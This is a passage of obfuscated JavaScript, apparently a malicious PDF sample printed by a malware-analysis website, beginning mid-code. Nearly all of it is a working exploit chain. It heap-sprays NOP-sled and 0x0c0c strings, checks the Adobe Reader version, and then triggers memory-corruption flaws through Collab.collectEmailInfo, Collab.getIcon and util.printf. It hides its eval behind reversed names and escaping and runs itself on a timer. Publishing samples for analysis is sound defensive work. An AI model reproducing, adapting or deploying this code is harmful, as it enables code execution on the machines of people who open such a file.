K5cjga6Z1uw.length * 2;     var t6B17Ar6gpV = S7k9aCMpz0S - (BJHO2iLHS28 + 0x38);     var WDPSLpP7iJt = unescape("%u9090%u9090");     WDPSLpP7iJt = hzPZhhguY19(WDPSLpP7iJt, t6B17Ar6gpV);     var vLfaAOn0KGn = (vX859SIyyOF - 0x400000) / S7k9aCMpz0S;     for(var cZ0Ft9GSSIz = 0; cZ0Ft9GSSIz < vLfaAOn0KGn; cZ0Ft9GSSIz++)     {       BYRjHuvGW12[cZ0Ft9GSSIz] = WDPSLpP7iJt + K5cjga6Z1uw;     }   }  "));  lave(unescape("   function u2d481umkZK()   {     var YwbpesMZDau = 0;     var CnX9qaMV5wH = app.viewerVersion.toString();     app.clearTimeOut(Pfrp7LH6cTl);     if((CnX9qaMV5wH >= 8 && CnX9qaMV5wH < 8.102) || CnX9qaMV5wH < 7.1)     {       kzFeSugxSPy(0);       var Phc9NfUoVwk = unescape("%u0c0c%u0c0c");       while(Phc9NfUoVwk.length < 44952) Phc9NfUoVwk += Phc9NfUoVwk;       var NUIjMnwfyiO = this;       var bcHHN4A6GBP = Collab;       NUIjMnwfyiO["collabStore"] = bcHHN4A6GBP["collectEmailInfo"](       {         subj : "", msg : Phc9NfUoVwk       }       );     }     if((CnX9qaMV5wH >= 8.102 && CnX9qaMV5wH < 8.104) || (CnX9qaMV5wH >= 9 && CnX9qaMV5wH < 9.1) || CnX9qaMV5wH <= 7.101)     {       try       {         if(app.doc.Collab.getIcon)         {           kzFeSugxSPy(2);           var UGOyS6Tfdo8 = unescape("	");           while(UGOyS6Tfdo8.length < 0x4000)           {             UGOyS6Tfdo8 += UGOyS6Tfdo8;           }           UGOyS6Tfdo8 = "N." + UGOyS6Tfdo8;           var GCHgyUkWXCh = app;           GCHgyUkWXCh["doc"]["Collab"]["getIcon"](UGOyS6Tfdo8);           YwbpesMZDau = 1;         }         else         {           YwbpesMZDau = 1;         }       }       catch(e)       {         YwbpesMZDau = 1;       }       if(YwbpesMZDau == 1)       {         if(CnX9qaMV5wH == 8.102 || CnX9qaMV5wH == 7.1)         {           kzFeSugxSPy(1);           var VItGrZhYUE6 = "12999999999999999999";           for(Nqv5YYv3Qy0 = 0; Nqv5YYv3Qy0 < 276; Nqv5YYv3Qy0++)           {             VItGrZhYUE6 += "8";           }           var L91E9FRctfk = util;           L91E9FRctfk["printf"]("E000f", VItGrZhYUE6);         }       }     }  }  ")); 
 app.Kcuq3MGFEZe = u2d481umkZK;
 Pfrp7LH6cTl = app.setTimeOut("app.Kcuq3MGFEZe()", 1);

Open this report in the interactive analyzer, or submit your own file for analysis.